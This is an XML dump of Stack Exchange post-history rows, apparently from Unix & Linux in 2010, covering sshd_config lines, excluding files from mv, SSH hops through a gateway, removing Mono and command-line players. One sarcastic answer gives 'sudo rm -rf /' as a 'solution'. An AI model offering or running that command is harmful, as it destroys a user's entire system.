  <row Id="4148" PostHistoryTypeId="2" PostId="2022" RevisionGUID="0fd3eda1-6305-4bd7-8f1b-878a4e59f90e" CreationDate="2010-09-14T18:34:13.597" UserId="1257" Text="Specifically `AllowUsers` parameter:&#xD;&#xA;&#xD;&#xA;e.g. convert this&#xD;&#xA;&#xD;&#xA;    AllowUsers user1 user2 user3 user4&#xD;&#xA;&#xD;&#xA;to this&#xD;&#xA;&#xD;&#xA;    AllowUsers&#xD;&#xA;        user1&#xD;&#xA;        user2&#xD;&#xA;        user3&#xD;&#xA;        user4&#xD;&#xA;" />
  <row Id="4149" PostHistoryTypeId="1" PostId="2022" RevisionGUID="0fd3eda1-6305-4bd7-8f1b-878a4e59f90e" CreationDate="2010-09-14T18:34:13.597" UserId="1257" Text="Is it possible to break long lines in sshd_config?" />
  <row Id="4150" PostHistoryTypeId="3" PostId="2022" RevisionGUID="0fd3eda1-6305-4bd7-8f1b-878a4e59f90e" CreationDate="2010-09-14T18:34:13.597" UserId="1257" Text="ésshàéconfigurationà" />
  <row Id="4151" PostHistoryTypeId="5" PostId="2020" RevisionGUID="eb43ed59-b91c-4a7e-872c-283c1f9b3da6" CreationDate="2010-09-14T18:35:09.323" UserId="73" Comment="added 157 characters in body; edited tags; edited title" Text="Is there a way to `mv`,`cp`, or any file operation such that I could specify all the files I *don't* want affected?&#xD;&#xA;&#xD;&#xA;For example, say I have a folder with the files `file1`, `file2`, and `file3`, and I want to move `file1` and `file2` somewhere. Rather than explicitly naming the files to move (`mv file1 file2 /path/to/destination`), I want to name the files *not* to move and have all the others in the folder get moved (`mv --some-switch file3 /path/to/destination`)" />
  <row Id="4152" PostHistoryTypeId="4" PostId="2020" RevisionGUID="eb43ed59-b91c-4a7e-872c-283c1f9b3da6" CreationDate="2010-09-14T18:35:09.323" UserId="73" Comment="added 157 characters in body; edited tags; edited title" Text="Command-line mv exclusion list" />
  <row Id="4153" PostHistoryTypeId="6" PostId="2020" RevisionGUID="eb43ed59-b91c-4a7e-872c-283c1f9b3da6" CreationDate="2010-09-14T18:35:09.323" UserId="73" Comment="added 157 characters in body; edited tags; edited title" Text="écommandölineàérenameàéscpà" />
  <row Id="4154" PostHistoryTypeId="2" PostId="2023" RevisionGUID="8e813e7d-f0ad-4ced-a68b-9b5f7ba830c1" CreationDate="2010-09-14T18:48:45.170" UserId="73" Text="In short, it looks like no&#xD;&#xA;&#xD;&#xA;OpenSSH's `servconf.c` dumps the file into a buffer without checking for such things (all it appears to do is look for `#` to mark a comment):&#xD;&#xA;&#xD;&#xA;    while (fgets(line, sizeof(line), f)) {&#xD;&#xA;     	if ((cp	= strchr(line, '#')) != NULL)&#xD;&#xA;            memcpy(cp, &quot;\n&quot;, 2);&#xD;&#xA;     	cp = line + strspn(line, &quot; \t\r&quot;);&#xD;&#xA;&#xD;&#xA;     	buffer_append(conf, cp, strlen(cp));&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The function that parses the config then splits the buffer on newlines and processes each line:&#xD;&#xA;&#xD;&#xA;    while ((cp = strsep(&amp;cbuf, &quot;\n&quot;)) != NULL) {&#xD;&#xA;        if (process_server_config_line(options, cp, filename,&#xD;&#xA;            linenum++, &amp;active, user, host, address) != 0)&#xD;&#xA;	    bad_options++;&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="4155" PostHistoryTypeId="2" PostId="2024" RevisionGUID="27f4b563-9815-4399-b50a-b6d8e34afac2" CreationDate="2010-09-14T19:20:07.473" UserId="885" Text="* You can use the advanced globbing patterns in some shells to match all the files in a directory except for those matching a particular pattern. For example, in ksh, bash or zsh, the command&#xD;&#xA;&#xD;&#xA;        shopt -s extglob   ## needed in bash only&#xD;&#xA;        setopt ksh_glob   ## needed in zsh only&#xD;&#xA;        mv /source/!(*.bak) /destination&#xD;&#xA;&#xD;&#xA; will move all files in `/source` to `/destination` except for the files matching `*.bak`. In zsh, you can also write `/source/^*.bak` if you first run `setopt extended_glob`, and more generally (again requiring `setopt extended_glob`) `/source/*~*.bak` (or `/source/a*~*.bak` for all files whose name begins with `a` except for `.bak` files, etc).&#xD;&#xA;&#xD;&#xA;* Zsh has a mass copy/move/link command that can be used, amongst others, to move all files except for those matching a pattern. For example, the following command moves all files except `*.bak` from `/source` to `target`, and adds `.bak` to their name in the process:&#xD;&#xA;&#xD;&#xA;        autoload zmv&#xD;&#xA;        zmv '/source/(*)~*.bak' '/target/$1.bak'&#xD;&#xA;&#xD;&#xA;* There are several commands called `rename` floating around. On Debian and Ubuntu, `/usr/bin/rename` is a perl script that moves files to a new name generated by a perl expression. You can exclude files from renaming by not generating a new name if the file is to be excluded. For example, the following command (using this particular `rename` program) moves all files except `*.bak` from `/source` to `/target`:&#xD;&#xA;&#xD;&#xA;        rename 's!/source!/target! unless m!\.bak$!' /source/*&#xD;&#xA;&#xD;&#xA;* You can use the `find` command to select the files you want to move. For example, the following command moves all regular files except `*.bak` in `/source` or a subdirectory into `/target` (note that the directory structure is collapsed):&#xD;&#xA;&#xD;&#xA;        find /source -type f \! -name '*.bak' -exec mv {} /target/ +&#xD;&#xA;&#xD;&#xA;* `rsync` is a generalization of `cp` and `scp` with very powerful include/exclude rules. For example, the following command copies all files except `*.bak` in `/source` or a subdirectory into `/target`, respecting the directory structure:&#xD;&#xA;&#xD;&#xA;        rsync -a --exclude '*.bak' /source/ /target/&#xD;&#xA;&#xD;&#xA;* `pax` is (amongst other things) another `cp` on steroids. Its exclusion rules are not nearly as powerful as rsync's, but it has the additional ability to rename files as they are copied. If you rename a file to the empty string, it's excluded from the copy. For example, the following command copies all files except `*.bak` in `/source` or a subdirectory into `/target`, and renames the files to `.bak` in passing.&#xD;&#xA;&#xD;&#xA;        cd /source &amp;&amp; pax -rw -pp -s '/.*\.bak$//' -s '/$/.bak/' . /target/&#xD;&#xA;&#xD;&#xA; The example above has the unfortunate side effect of creating directories called `foo.bak`, which can be avoided by combining `find` with `pax`:&#xD;&#xA;&#xD;&#xA;        { cd /source &amp;&amp; find . -type f; } | \&#xD;&#xA;        pax -rw -pp -s '/.*\.bak$//' -s '/$/.bak/' /target/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4156" PostHistoryTypeId="2" PostId="2025" RevisionGUID="3aca6e5a-f197-4c9a-9f7b-79aafe317751" CreationDate="2010-09-14T19:31:57.507" UserId="885" Text="No, but it's not useful in this case. You can have multiple `AcceptEnv`, `AllowGroups`, `AllowUsers`, `DenyGroups`, `DenyUsers`, `HostKey`, `PermitOpen`, `Port` and `Subsystem` lines, and each line adds one or more (or sometimes zero) elements to the list.&#xD;&#xA;&#xD;&#xA;Nonetheless, if you can't easily fit your `AllowUsers` directive on one line, I suggest creating a `ssh_allowed` group and using `AllowGroups ssh_allowed` in `sshd_config`.&#xD;&#xA;" />
  <row Id="4157" PostHistoryTypeId="2" PostId="2026" RevisionGUID="da31128d-2e33-4ec8-b318-d161ce0463ef" CreationDate="2010-09-14T19:39:30.117" UserId="1339" Text="You could try to have a look at the logfiles :-) &#xD;&#xA;&#xD;&#xA; 1. Maybe something is in&#xD;&#xA;    `/var/log/auth.log` after a wrong&#xD;&#xA;    password.&#xD;&#xA;    &#xD;&#xA; 2. Check your autostart applications&#xD;&#xA;    under `System -&gt; Preferences -&gt;&#xD;&#xA;    Sessions -&gt; Startup Programs` and `~/.config/autostart`&#xD;&#xA;    &#xD;&#xA; 3. Check the running processes with&#xD;&#xA;    `top` and `ps aux`, check the&#xD;&#xA;    process tree of `ps axjf`&#xD;&#xA;&#xD;&#xA;It should be pretty simple to figure out which process requires your keyring?" />
  <row Id="4158" PostHistoryTypeId="2" PostId="2027" RevisionGUID="b5de5ccf-a249-4012-8ec5-fa86a793d3fd" CreationDate="2010-09-14T19:41:26.440" UserId="1327" Text="One of my machines is the **2GB EeePC Surf**, a neat netbook with very limited resources. So limited that right now, I have **22MB** free space left.&#xD;&#xA;&#xD;&#xA;On it, I'm running **archlinux** with the **openbox** DE. And a host of needed applications for it to function as a mobile pc.&#xD;&#xA;&#xD;&#xA;What methods are available to me to stamp out some unnecessary used space?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4159" PostHistoryTypeId="1" PostId="2027" RevisionGUID="b5de5ccf-a249-4012-8ec5-fa86a793d3fd" CreationDate="2010-09-14T19:41:26.440" UserId="1327" Text="How do I minimize disk space usage" />
  <row Id="4160" PostHistoryTypeId="3" PostId="2027" RevisionGUID="b5de5ccf-a249-4012-8ec5-fa86a793d3fd" CreationDate="2010-09-14T19:41:26.440" UserId="1327" Text="éarchölinuxàéefficencyàéopenboxà" />
  <row Id="4161" PostHistoryTypeId="5" PostId="2024" RevisionGUID="7d371360-a7f4-49e1-8c83-f3ba06bebb23" CreationDate="2010-09-14T19:42:03.303" UserId="885" Comment="added `-exec sh -c ... {} +`  variant" Text="* You can use the advanced globbing patterns in some shells to match all the files in a directory except for those matching a particular pattern. For example, in ksh, bash or zsh, the command&#xD;&#xA;&#xD;&#xA;        shopt -s extglob   ## needed in bash only&#xD;&#xA;        setopt ksh_glob   ## needed in zsh only&#xD;&#xA;        mv /source/!(*.bak) /destination&#xD;&#xA;&#xD;&#xA; will move all files in `/source` to `/destination` except for the files matching `*.bak`. In zsh, you can also write `/source/^*.bak` if you first run `setopt extended_glob`, and more generally (again requiring `setopt extended_glob`) `/source/*~*.bak` (or `/source/a*~*.bak` for all files whose name begins with `a` except for `.bak` files, etc).&#xD;&#xA;&#xD;&#xA;* Zsh has a mass copy/move/link command that can be used, amongst others, to move all files except for those matching a pattern. For example, the following command moves all files except `*.bak` from `/source` to `target`, and adds `.bak` to their name in the process:&#xD;&#xA;&#xD;&#xA;        autoload zmv&#xD;&#xA;        zmv '/source/(*)~*.bak' '/target/$1.bak'&#xD;&#xA;&#xD;&#xA;* There are several commands called `rename` floating around. On Debian and Ubuntu, `/usr/bin/rename` is a perl script that moves files to a new name generated by a perl expression. You can exclude files from renaming by not generating a new name if the file is to be excluded. For example, the following command (using this particular `rename` program) moves all files except `*.bak` from `/source` to `/target`:&#xD;&#xA;&#xD;&#xA;        rename 's!/source!/target! unless m!\.bak$!' /source/*&#xD;&#xA;&#xD;&#xA;* You can use the `find` command to select the files you want to move. For example, the following command moves all regular files except `*.bak` in `/source` or a subdirectory into `/target` (note that the directory structure is collapsed):&#xD;&#xA;&#xD;&#xA;        find /source -type f \! -name '*.bak' -exec mv {} /target/ \;&#xD;&#xA;&#xD;&#xA; or (more efficient if there are many files to move)&#xD;&#xA;&#xD;&#xA;        find /source -type f \! -name '*.bak' -exec sh -c 'mv &quot;$@&quot; &quot;$0&quot;' /target/ {} +&#xD;&#xA;&#xD;&#xA;* `rsync` is a generalization of `cp` and `scp` with very powerful include/exclude rules. For example, the following command copies all files except `*.bak` in `/source` or a subdirectory into `/target`, respecting the directory structure:&#xD;&#xA;&#xD;&#xA;        rsync -a --exclude '*.bak' /source/ /target/&#xD;&#xA;&#xD;&#xA;* `pax` is (amongst other things) another `cp` on steroids. Its exclusion rules are not nearly as powerful as rsync's, but it has the additional ability to rename files as they are copied. If you rename a file to the empty string, it's excluded from the copy. For example, the following command copies all files except `*.bak` in `/source` or a subdirectory into `/target`, and renames the files to `.bak` in passing.&#xD;&#xA;&#xD;&#xA;        cd /source &amp;&amp; pax -rw -pp -s '/.*\.bak$//' -s '/$/.bak/' . /target/&#xD;&#xA;&#xD;&#xA; The example above has the unfortunate side effect of creating directories called `foo.bak`, which can be avoided by combining `find` with `pax`:&#xD;&#xA;&#xD;&#xA;        { cd /source &amp;&amp; find . -type f; } | \&#xD;&#xA;        pax -rw -pp -s '/.*\.bak$//' -s '/$/.bak/' /target/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4162" PostHistoryTypeId="2" PostId="2028" RevisionGUID="b02a3ba2-717f-4579-85b6-133afb7bf048" CreationDate="2010-09-14T19:54:45.083" UserId="1327" Text="I have **three** Computers.&#xD;&#xA;&#xD;&#xA;**PC1** and **PC2** is on a private LAN, where **PC1** is known to **PC2** as `192.168.0.2`&#xD;&#xA;&#xD;&#xA;**PC2** and **PC3** is on a another  LAN, where **PC2** is known to **PC3** as `192.168.123.101`&#xD;&#xA;&#xD;&#xA;How can I connect to **PC1** from **PC3** with SSH.&#xD;&#xA;&#xD;&#xA;Is there something like:&#xD;&#xA;&#xD;&#xA;    ssh user@192.168.0.2 -via user@192.168.123.101" />
  <row Id="4163" PostHistoryTypeId="1" PostId="2028" RevisionGUID="b02a3ba2-717f-4579-85b6-133afb7bf048" CreationDate="2010-09-14T19:54:45.083" UserId="1327" Text="How do I connect to a pc through another pc using ssh " />
  <row Id="4164" PostHistoryTypeId="3" PostId="2028" RevisionGUID="b02a3ba2-717f-4579-85b6-133afb7bf048" CreationDate="2010-09-14T19:54:45.083" UserId="1327" Text="ésshà" />
  <row Id="4165" PostHistoryTypeId="2" PostId="2029" RevisionGUID="a8807bb5-be03-43c6-8738-0dcab5f75c12" CreationDate="2010-09-14T20:09:34.933" UserId="1339" Text="Here are some points you could start with:&#xD;&#xA;&#xD;&#xA; - Have a look at the packages installed&#xD;&#xA;   on your system with `pacman -Q` and&#xD;&#xA;   remove the ones you don't need. A&#xD;&#xA;   good start may be to append the `-t`&#xD;&#xA;   switch:&#xD;&#xA;   &#xD;&#xA;   &gt; Restrict or filter output to packages&#xD;&#xA;   &gt; not required by any currently&#xD;&#xA;   &gt; installed package.&#xD;&#xA;   &#xD;&#xA; - Clean the package cache of pacman&#xD;&#xA;   with `pacman -c`&#xD;&#xA;   &#xD;&#xA; - Always use `pacman -Rs` to remove&#xD;&#xA;   also unused package dependencies.&#xD;&#xA;   &#xD;&#xA; - To find &quot;big files&quot; and folders which&#xD;&#xA;   use large parts of the disk, a nice&#xD;&#xA;   addition to `du` is `xdiskusage`.&#xD;&#xA;   This little tool lets you quickly&#xD;&#xA;   browse your filesystem and see&#xD;&#xA;   graphical representation of the disk&#xD;&#xA;   usage of the folders." />
  <row Id="4166" PostHistoryTypeId="2" PostId="2030" RevisionGUID="d28a154a-cb3c-4d99-a1f8-3860defbc421" CreationDate="2010-09-14T20:28:31.063" UserId="1339" Text="The only solution I know for this is ssh scripting with [Belier][1]:&#xD;&#xA;&#xD;&#xA;&gt; Belier allows opening a shell or&#xD;&#xA;&gt; executing a command on a remote&#xD;&#xA;&gt; computer through a SSH connection. The&#xD;&#xA;&gt; main feature of Belier is its ability&#xD;&#xA;&gt; to cross several intermediate&#xD;&#xA;&gt; computers before realizing the job.&#xD;&#xA;&#xD;&#xA;A while ago I found this [README.sshhop][2] on the MIT Lincoln Laboratory Homepage, but I wasn't able to find any further information about that. Does somebody know more?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ohmytux.com/belier/&#xD;&#xA;  [2]: http://www.ll.mit.edu/mission/communications/ist/corpora/README.sshhop" />
  <row Id="4167" PostHistoryTypeId="2" PostId="2031" RevisionGUID="2d84d678-5f16-4b4a-8d68-7f57b38123b0" CreationDate="2010-09-14T20:38:22.117" UserId="1376" Text="using SSH there is a clear solution:&#xD;&#xA;&#xD;&#xA;1) on your local machine set up your ~/.ssh/config such that it has the following:&#xD;&#xA;&#xD;&#xA;    host WhatYouWillCallTheConnection&#xD;&#xA;        hostname the.gateway.server.address.com&#xD;&#xA;        user YourUsernameOnTheGateway&#xD;&#xA;&#xD;&#xA;2) On both the gateway and the end server you'd like to connect to, make sure that you have your local client's public keys located in the ~/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;3) On the gateway machine you need to alter the ~/.ssh/authorized_keys such that at the beginning of the line that specifies your client's public key, add the forced command as follows:&#xD;&#xA;&#xD;&#xA;    command=&quot;ssh -A user_name@ServerTheGatewaySees.ButTheClientCant.net&quot; ...yourPublicKey....&#xD;&#xA;&#xD;&#xA;The -A is to forward the agent if you don't like to send passwords all the time...&#xD;&#xA;&#xD;&#xA;This way, anytime you do something like `ssh WhatYouWillCallTheConnection` it will run straight through the gateway and connect you to the server on the other side transparently." />
  <row Id="4168" PostHistoryTypeId="5" PostId="2031" RevisionGUID="76d803db-8b84-4df3-ac00-7829f46d20dd" CreationDate="2010-09-14T20:40:30.580" UserId="73" Comment="added 24 characters in body" Text="Using SSH there is a clear solution:&#xD;&#xA;&#xD;&#xA;1. on your local machine set up your `~/.ssh/config` such that it has the following:&#xD;&#xA;&#xD;&#xA;        host WhatYouWillCallTheConnection&#xD;&#xA;            hostname the.gateway.server.address.com&#xD;&#xA;            user YourUsernameOnTheGateway&#xD;&#xA;&#xD;&#xA;2. On both the gateway and the end server you'd like to connect to, make sure that you have your local client's public keys located in the `~/.ssh/authorized_keys`&#xD;&#xA;&#xD;&#xA;3. On the gateway machine you need to alter the `~/.ssh/authorized_keys` such that at the beginning of the line that specifies your client's public key, add the forced command as follows:&#xD;&#xA;&#xD;&#xA;        command=&quot;ssh -A user_name@ServerTheGatewaySees.ButTheClientCant.net&quot; ...yourPublicKey....&#xD;&#xA;&#xD;&#xA;The `-A` is to forward the agent if you don't like to send passwords all the time...&#xD;&#xA;&#xD;&#xA;This way, anytime you do something like `ssh WhatYouWillCallTheConnection` it will run straight through the gateway and connect you to the server on the other side transparently." />
  <row Id="4169" PostHistoryTypeId="2" PostId="2032" RevisionGUID="dd4d2cf2-9b68-4008-a04d-5a2ea360f7d7" CreationDate="2010-09-14T20:43:46.803" UserId="885" Text="    ssh -o 'ProxyCommand nc %h %p'&#xD;&#xA;&#xD;&#xA;Best used through an alias in `~/.ssh/config`:&#xD;&#xA;&#xD;&#xA;    Host PC1&#xD;&#xA;    HostName 192.168.0.2&#xD;&#xA;    User user&#xD;&#xA;    ProxyCommand ssh user@192.168.123.101 nc %h %p&#xD;&#xA;&#xD;&#xA;Then you can simply run `ssh PC1`.&#xD;&#xA;" />
  <row Id="4170" PostHistoryTypeId="2" PostId="2033" RevisionGUID="f0b64e77-8fda-488e-988d-6a3d9ba7a8bb" CreationDate="2010-09-14T20:48:20.557" UserId="1376" Text="Since it hasn't been explicitly stated, I'll add that there is no better programming environment (lisp in a box, slime, etc.) than a slightly modified Emacs distro. All of my programming needs (99%) are taken care of from within Vim, but for all those lisp libraries and routines I write, I have to fire up Emacs to get anything productive done." />
  <row Id="4171" PostHistoryTypeId="16" PostId="2033" RevisionGUID="f0b64e77-8fda-488e-988d-6a3d9ba7a8bb" CreationDate="2010-09-14T20:48:20.557" UserId="-1" />
  <row Id="4172" PostHistoryTypeId="4" PostId="2014" RevisionGUID="6a87d872-7c01-410f-bc62-efb796d8416a" CreationDate="2010-09-14T21:20:34.407" UserId="29" Comment="correct title" Text="Can not find link to download OpenSolaris source code" />
  <row Id="4173" PostHistoryTypeId="2" PostId="2034" RevisionGUID="e4725c49-b641-490f-9055-3ac75ec9fc21" CreationDate="2010-09-14T22:20:43.573" UserId="1074" Text="Port Forwarding might come in handy.  &#xD;&#xA;From PC1:  &#xD;&#xA;&#xD;&#xA;    ~# ssh -fN -L 22:PC3:7777 -l &lt;user&gt; PC2  &#xD;&#xA;  &#xD;&#xA;7777 can be just any port (provided it is not already being used). I just like that number, plus any &quot;ordering up&quot; I can manage by +1 's (7778, 7779, etc, etc).  &#xD;&#xA;  &#xD;&#xA;This being done, you will have a 'transparent' tunnel from PC1's local port 7777 to PC3's port 22. Just issue:  &#xD;&#xA;  &#xD;&#xA;    ~# ssh -l &lt;user&gt; -p 7777 localhost  &#xD;&#xA;  &#xD;&#xA;And you should be on PC3.  &#xD;&#xA;You can also use -D to dynamically forward a port if you want a SOCKS proxy established.  &#xD;&#xA;  &#xD;&#xA;    ~# ssh -D &lt;someport&gt; -fN -L 22:PC3:7777 -l &lt;user&gt; PC2  &#xD;&#xA;  &#xD;&#xA;Cheers!" />
  <row Id="4174" PostHistoryTypeId="2" PostId="2035" RevisionGUID="87408bed-3dc3-47cc-b0db-98987a59a9e2" CreationDate="2010-09-14T23:47:49.493" UserId="1683" Text="I'm a Ubuntu newbie. In my opinion Mono is a patent trap and I do not want my distribution of choice to be tainted by anything Mono or any application that requires Mono. So I would welcome your feedback for the following:&#xD;&#xA;&#xD;&#xA;1) how to prevent anything Mono and applications that require Mono from getting installed in the first place. Is there a way to forcefully disable Mono during installation?&#xD;&#xA;&#xD;&#xA;2) how do I find out if I have anything Mono installed on my current default installation?&#xD;&#xA;&#xD;&#xA;3) if Mono is already installed how to remove Mono and all applications that require Mono?&#xD;&#xA;&#xD;&#xA;Hopefully with your feedback I can make sure that all my bits are truly free. Thanks!" />
  <row Id="4175" PostHistoryTypeId="1" PostId="2035" RevisionGUID="87408bed-3dc3-47cc-b0db-98987a59a9e2" CreationDate="2010-09-14T23:47:49.493" UserId="1683" Text="Howto prevent or remove all Mono related stuff (libs, apps, etc.)" />
  <row Id="4176" PostHistoryTypeId="3" PostId="2035" RevisionGUID="87408bed-3dc3-47cc-b0db-98987a59a9e2" CreationDate="2010-09-14T23:47:49.493" UserId="1683" Text="éubuntuàémonoà" />
  <row Id="4177" PostHistoryTypeId="2" PostId="2036" RevisionGUID="f13fbf51-ca03-4e90-b2d9-c75b9eb8dca3" CreationDate="2010-09-15T00:13:55.467" UserId="1207" Text="Since you are using Ubuntu, all you should have to do is remove the base mono libraries, and all files that depend on those libraries will also be removed.  Thus, to remove all mono on your system, I believe you should be able to run the following command from the terminal:&#xD;&#xA;&#xD;&#xA;    $ sudo apt-get purge libmono*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The command should list all of the packages that will be removed--including applications that depend on mono-- and ask you to confirm their removal. (I am not a mono expert, so there might be some other library that you should also add to this purge; however, I'm guessing the exact name of the package may depend on the version of Ubuntu you are running, since mono package names have changed a few time.)  You should review the list carefully before accepting the changes and make sure you won't be removing something you need. You may want to follow that up with:&#xD;&#xA;&#xD;&#xA;     $ sudo apt-get autoremove&#xD;&#xA;&#xD;&#xA;While there used to be a package called **mononono** that would prevent mono from being installed on the system, I do not believe this package works well with recent versions of Ubuntu.  If you are truly concerned with keeping mono off of your system, I would simply look carefully at the details of software installs you do and ensure that you do not see it pulling in mono libraries.&#xD;&#xA;&#xD;&#xA;If you are more comfortable with GUI tools, you can also do this in Synaptic:  &#xD;&#xA;&#xD;&#xA; 1. Change to the &quot;installed&quot; filter.&#xD;&#xA; 2. Use the quick search box and search for &quot;libmono.&quot;  &#xD;&#xA; 3. Select all of the packages that appear in the results.&#xD;&#xA; 4. Mark them for complete removal.  &#xD;&#xA; 5. Press apply.&#xD;&#xA;&#xD;&#xA;If you are very concerned about non-free software, you may find the **vrms** package of interest.  It lists non-free packages on the system.  It will not list mono packages since patent issues are orthogonal to the software being free, at least according to some definitions of &quot;free.&quot;  Also, if you were to list all of the packages that have potential patent issues, you'd have to list a whole lot of packages." />
  <row Id="4178" PostHistoryTypeId="2" PostId="2037" RevisionGUID="682dd659-ecf9-456c-8be2-fa5b58e28880" CreationDate="2010-09-15T00:16:33.637" UserId="1688" Text="Every piece of code is a potential patent trap, exactly in the same way as mono is, so your only solution to get rid of patent traps is: sudo rm -rf /&#xD;&#xA;" />
  <row Id="4179" PostHistoryTypeId="2" PostId="2038" RevisionGUID="5b6ddbfc-c957-420b-98c8-af81a7fe7806" CreationDate="2010-09-15T00:27:37.930" UserId="305" Text="Is there a good, simple commandline player that uses gstreamer?" />
  <row Id="4180" PostHistoryTypeId="1" PostId="2038" RevisionGUID="5b6ddbfc-c957-420b-98c8-af81a7fe7806" CreationDate="2010-09-15T00:27:37.930" UserId="305" Text="Commandline gstreamer player" />
  <row Id="4181" PostHistoryTypeId="3" PostId="2038" RevisionGUID="5b6ddbfc-c957-420b-98c8-af81a7fe7806" CreationDate="2010-09-15T00:27:37.930" UserId="305" Text="écommandölineà" />
  <row Id="4182" PostHistoryTypeId="2" PostId="2039" RevisionGUID="e0159344-247a-4095-aa34-655d3ebf5b49" CreationDate="2010-09-15T00:34:19.637" UserId="171" Text="[gst123][1] is command line music player that uses gstreamer. I have not messed with it, I generally use MOC.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://freshmeat.net/projects/gst123" />
  <row Id="4183" PostHistoryTypeId="2" PostId="2040" RevisionGUID="a562b44e-0a31-44dc-9499-95d6e79d4f41" CreationDate="2010-09-15T00:37:26.973" UserDisplayName="Thura" Text="You can use gst-launch from gstreamer-tools.&#xD;&#xA;&#xD;&#xA;    man gst-launch" />
  <row Id="4184" PostHistoryTypeId="5" PostId="2035" RevisionGUID="8b153cd4-264c-47ad-bef3-b7db885a9f71" CreationDate="2010-09-15T01:37:20.610" UserId="73" Comment="deleted 7 characters in body" Text="I'm a Ubuntu newbie. In my opinion Mono is a patent trap and I do not want my distribution of choice to be tainted by anything Mono or any application that requires Mono. So I would welcome your feedback for the following:&#xD;&#xA;&#xD;&#xA;1. How to prevent anything Mono and applications that require Mono from getting installed in the first place. Is there a way to forcefully disable Mono during installation?&#xD;&#xA;&#xD;&#xA;2. How do I find out if I have anything Mono installed on my current default installation?&#xD;&#xA;&#xD;&#xA;3. If Mono is already installed, how to remove Mono and all applications that require Mono?&#xD;&#xA;&#xD;&#xA;Hopefully with your feedback I can make sure that all my bits are truly free." />
  <row Id="4185" PostHistoryTypeId="2" PostId="2041" RevisionGUID="c98c8de5-4eb5-4653-b090-4916b7cb5825" CreationDate="2010-09-15T01:47:42.060" UserId="1696" Text="As I've learned to use Linux over the years, I've repeatedly come across the idiom of quoting commands with a leading backtick (`) and a following single quote ('), like so:&#xD;&#xA;&#xD;&#xA;`rm -rf /tmp/foo/bar'&#xD;&#xA;&#xD;&#xA;(I first realized that I kept seeing this, I think, on jwz's site. I might have even asked him this question, though that would have been a loooong time ago.)&#xD;&#xA;&#xD;&#xA;Is there a significance to this style of quoting commands? I do it myself, now, so that if people just copy and paste what I've posted, and don't know enough to leave out the marks, the command will fail.&#xD;&#xA;&#xD;&#xA;Is there a preferred method for making commands like mysql -hlocalhost -u&lt;user&gt; -p&lt;pass&gt; -A bigdatabase obvious in running text, without offsetting it in its own paragraph as above?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4186" PostHistoryTypeId="1" PostId="2041" RevisionGUID="c98c8de5-4eb5-4653-b090-4916b7cb5825" CreationDate="2010-09-15T01:47:42.060" UserId="1696" Text="Quoting commands" />
  <row Id="4187" PostHistoryTypeId="3" PostId="2041" RevisionGUID="c98c8de5-4eb5-4653-b090-4916b7cb5825" CreationDate="2010-09-15T01:47:42.060" UserId="1696" Text="écommandölineà" />
  <row Id="4188" PostHistoryTypeId="2" PostId="2042" RevisionGUID="ab4ef796-b0a6-4be1-9bcf-272d85b1a099" CreationDate="2010-09-15T02:03:52.760" UserId="1698" Text="You can also use audiopreview." />
  <row Id="4189" PostHistoryTypeId="2" PostId="2043" RevisionGUID="5b810804-cba1-480c-a624-f87d2441f657" CreationDate="2010-09-15T02:28:54.003" UserId="1071" Text="I haven't actually witnessed &lt;i&gt;exactly&lt;/i&gt; what you're talking about as a widespread phenomenon, but I can think of three hypotheses, in increasing order of likelihood.&#xD;&#xA;&#xD;&#xA;1) In Bash and similar shells/scripting languages, backticks can be used for &lt;a href=&quot;http://tldp.org/LDP/abs/html/commandsub.html&quot;&gt;command substitution&lt;/a&gt;; people may be referring to that. (But here there are backticks on both sides.)&#xD;&#xA;&#xD;&#xA;2) In markdown syntax, applicable even here on Stack Exchange sites, backticks are used to put things in a monospaced/typewriter font: `like this`, which typically is used to indicate that something is a short piece of code or something you'd enter into a command line interface. (But again, here, there are backticks on both sides.)&#xD;&#xA;&#xD;&#xA;3) In LaTeX mark-up, which is likely something disproportionally used by linuxers/Unixers, backticks are used as left quotation marks and single quotes for right quotation marks, so `this' becomes ‘this’ when typeset. Perhaps this is why this a common practice among linux/Unixers.&#xD;&#xA;&#xD;&#xA;I guess there might be other explanations, but I personally haven't really witnessed this phenomenon much." />
  <row Id="4190" PostHistoryTypeId="5" PostId="2043" RevisionGUID="227ec0ec-f5b4-4200-a15b-3cf5abb425a0" CreationDate="2010-09-15T02:32:52.257" UserId="73" Comment="deleted 16 characters in body" Text="I haven't actually witnessed *exactly* what you're talking about as a widespread phenomenon, but I can think of three hypotheses, in increasing order of likelihood.&#xD;&#xA;&#xD;&#xA;1. In Bash and similar shells/scripting languages, backticks can be used for [command substitution](http://tldp.org/LDP/abs/html/commandsub.html); people may be referring to that. (But here there are backticks on both sides.)&#xD;&#xA;&#xD;&#xA;2. In markdown syntax, applicable even here on Stack Exchange sites, backticks are used to put things in a monospaced/typewriter font: `like this`, which typically is used to indicate that something is a short piece of code or something you'd enter into a command line interface. (But again, here, there are backticks on both sides.)&#xD;&#xA;&#xD;&#xA;3. In LaTeX mark-up, which is likely something disproportionally used by linuxers/Unixers, backticks are used as left quotation marks and single quotes for right quotation marks, so `this' becomes ‘this’ when typeset. Perhaps this is why this a common practice among linux/Unixers.&#xD;&#xA;&#xD;&#xA;I guess there might be other explanations, but I personally haven't really witnessed this phenomenon much." />
  <row Id="4191" PostHistoryTypeId="2" PostId="2044" RevisionGUID="a3bbc86a-5f62-4882-aa61-22a587c66060" CreationDate="2010-09-15T02:54:02.720" UserDisplayName="Victor Rodriguez" Text="I think that what you are seeing is just &quot;correct&quot; typography.  There is software out there, such as [smartypants](http://daringfireball.net/projects/smartypants/), that automatically convert plain text punctuation into HTML entities.&#xD;&#xA;" />
  <row Id="4192" PostHistoryTypeId="2" PostId="2045" RevisionGUID="ac3c8292-cd28-4bcd-ade4-3677b421c09c" CreationDate="2010-09-15T03:44:05.420" UserId="1620" Text="UNIX was not designed to stop you from doing stupid things, because that would also stop you from doing clever things.&#xD;&#xA;&#xD;&#xA;*— Doug Gwyn*" />
